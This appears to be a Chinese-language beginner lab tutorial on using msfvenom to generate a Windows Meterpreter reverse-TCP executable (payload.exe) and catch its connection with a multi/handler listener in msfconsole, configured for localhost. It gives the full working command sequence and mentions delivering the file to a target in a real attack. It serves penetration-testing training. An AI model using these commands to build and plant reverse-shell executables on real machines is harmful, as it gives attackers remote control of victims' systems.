使用 msfvenom 生成独立 payload

Kali LinuxBeginner
立即练习

引言

在本实验中,你将获得使用 msfvenom 的实践经验。msfvenom 是 Metasploit Framework 的一个命令行实例,用于生成 payloads。它是两个旧工具 msfpayloadmsfencode 的结合体,提供了一个强大的工具,用于为各种目标和多种格式创建 shellcode。

本实验的主要目标是指导你完成生成独立的 Windows 可执行 payload 的过程。你将学习如何选择一个 payload,配置其选项(如监听主机和端口),最后在 msfconsole 中设置一个监听器来接收来自 payload 的连接。所有操作都将在 ~/project 目录下进行。

使用 msfvenom --list payloads 列出可用 payloads

在此步骤中,你将开始探索 msfvenom 的功能。学习任何工具的第一件事就是了解它能做什么。你可以使用 --list payloads 选项列出所有可用的 payloads。这将为你提供一个全面的列表,其中包含 msfvenom 可以为不同操作系统、架构和应用程序生成的 shellcode。

在你的终端中执行以下命令以查看完整的 payload 列表:

msfvenom --list payloads

输出内容会非常长。在实际场景中,你通常会过滤此列表以查找特定的 payload。例如,如果你要针对 Windows 机器,可以使用 grep 来搜索相关的 payloads。让我们尝试查找 windows/meterpreter/reverse_tcp payload,我们将在后续步骤中使用它。

msfvenom --list payloads | grep "windows/meterpreter/reverse_tcp"

你应该会看到类似以下的输出,确认该 payload 存在:

    windows/meterpreter/reverse_tcp                  Windows Meterpreter (Reflective Injection), Reverse TCP Stager

这证实了 msfvenom 可以生成此特定 payload。

使用 msfvenom 生成 Windows 可执行文件 -p windows/meterpreter/reverse_tcp

在此步骤中,你将选择一个特定的 payload 进行生成。根据我们在上一步的搜索,我们将使用 windows/meterpreter/reverse_tcp。这是一个非常常用且强大的 payload。它会创建一个从目标机器到你的“反向”连接,而“Meterpreter”是一个高级的、功能丰富的 shell,允许进行广泛的后渗透活动。

要在 msfvenom 中选择一个 payload,你需要使用 -p (或 --payload) 选项。让我们尝试仅选择 payload 来构建命令。

在你的终端中运行以下命令:

msfvenom -p windows/meterpreter/reverse_tcp

你会注意到此命令失败并产生错误消息。这是预期的。

[-] No options configured yet, getting options from payload...
[-] > LHOST is a required option
Error: LHOST is a required option

输出清楚地表明 LHOST 是一个必需的选项。这是因为反向 TCP payload 需要知道要连接回哪个 IP 地址。在下一步中,我们将提供此必需的信息。

为 payload 设置 LHOST 和 LPORT

在此步骤中,你将提供 payload 正确运行所需的选项。正如上一步的错误消息所示,我们需要设置 LHOST

  • LHOST: 代表“Listening Host”(监听主机)。这是你将接收 payload 传入连接的机器的 IP 地址。在本实验中,我们将在同一台机器上运行监听器,因此我们可以使用回环 IP 地址 127.0.0.1
  • LPORT: 代表“Listening Port”(监听端口)。这是监听器将绑定的 LHOST 上的端口。你可以选择任何未被使用的非特权端口。一个常见的选择是 4444

你可以直接在命令行中设置这些选项。让我们将 LHOSTLPORT 添加到我们之前的命令中:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444

运行此命令后,你将在终端中看到一大块字符直接打印出来。这是 payload 的原始 shellcode。

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
<...raw bytes will be printed here...>

作为一个独立的文件,这并没有太大用处。在下一步中,你将学习如何将此原始 shellcode 格式化为一个可用的可执行文件。

使用 -f exe 和 -o 指定输出格式和文件名

在此步骤中,你将通过指定格式并将其保存到文件来完成 payload 的生成。将原始 shellcode 打印到终端不便于传输。我们需要将其打包成目标操作系统可以执行的格式。

msfvenom 为此提供了两个重要选项:

  • -f--format: 此选项指定输出格式。由于我们的目标是 Windows,我们将使用 exe 格式来创建一个标准的 Windows 可执行文件。
  • -o--out: 此选项指定输出文件的路径和文件名。

让我们将所有学到的选项组合成一个最终命令。此命令将在你的当前目录 (~/project) 中生成一个名为 payload.exe 的 Windows 可执行文件。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o payload.exe

命令完成后,你将看到确认 payload 已创建的输出:

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No Arch selected, choosing Arch: x86 from the payload
Found 1 compatible encoder
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of exe file: 73802 bytes
Saved as: payload.exe

你可以使用 ls -l 命令来验证文件是否已创建:

ls -l payload.exe

输出应显示新创建的文件:

-rwxr-xr-x 1 labex labex 73802 May 20 10:00 payload.exe

你现在已成功生成了一个独立的 payload 文件。

在 msfconsole 中创建监听器以捕获连接

在此步骤中,你将设置一个监听器来处理你刚刚创建的 payload 的连接。如果没有接收反向连接的机制,payload 将毫无用处。为此,我们将使用 msfconsole,这是 Metasploit Framework 的主要接口。

首先,启动 msfconsole。使用 -q 标志可以使其安静启动,不显示横幅(banner),这样更整洁。

msfconsole -q

你的提示符将变为 msf6 >。现在,你需要配置一个处理程序来监听传入的连接。处理程序的设置必须与你生成 payload 时使用的设置完全匹配。

  1. 使用 exploit/multi/handler 模块。这是一个通用的传入连接处理程序。

    use exploit/multi/handler
    
  2. 设置与你生成的 payload 匹配的 payload。

    set payload windows/meterpreter/reverse_tcp
    
  3. LHOST 设置为相同的 IP 地址。

    set LHOST 127.0.0.1
    
  4. LPORT 设置为相同的端口。

    set LPORT 4444
    
  5. 最后,运行监听器。

    run
    

msfconsole 现在将显示一条消息,表明监听器已启动。

[*] Started reverse TCP handler on 127.0.0.1:4444

此时,监听器已激活并正在等待。在实际攻击中,你会将 payload.exe 传输到 Windows 目标并执行它。执行后,它将连接回此监听器,你将获得一个 Meterpreter 会话。由于本实验中没有目标 Windows 机器,我们将看不到连接。这里的目标是学习生成 payload 及其相应监听器的完整过程。

要退出监听器,请按 Ctrl + C。要退出 msfconsole,请输入 exit 并按 Enter。

exit

总结

在本实验中,你已成功掌握了使用 msfvenom 生成独立 payload 的基础知识。你实践了整个工作流程,从探索可用 payload 到创建最终的可执行文件,再到设置监听器来处理其连接。

你现在已经熟悉了关键的 msfvenom 选项,包括:

  • --list payloads 查看可用的 payload。
  • -p 选择特定的 payload,例如 windows/meterpreter/reverse_tcp
  • LHOSTLPORT 配置 payload 的连接详情。
  • -f 设置输出格式(例如 exe)。
  • -o 将 payload 保存到文件。

此外,你还学习了如何在 msfconsole 中使用 exploit/multi/handler 来创建与你的 payload 配置匹配的监听器。这些知识为许多渗透测试和安全研究任务奠定了关键基础。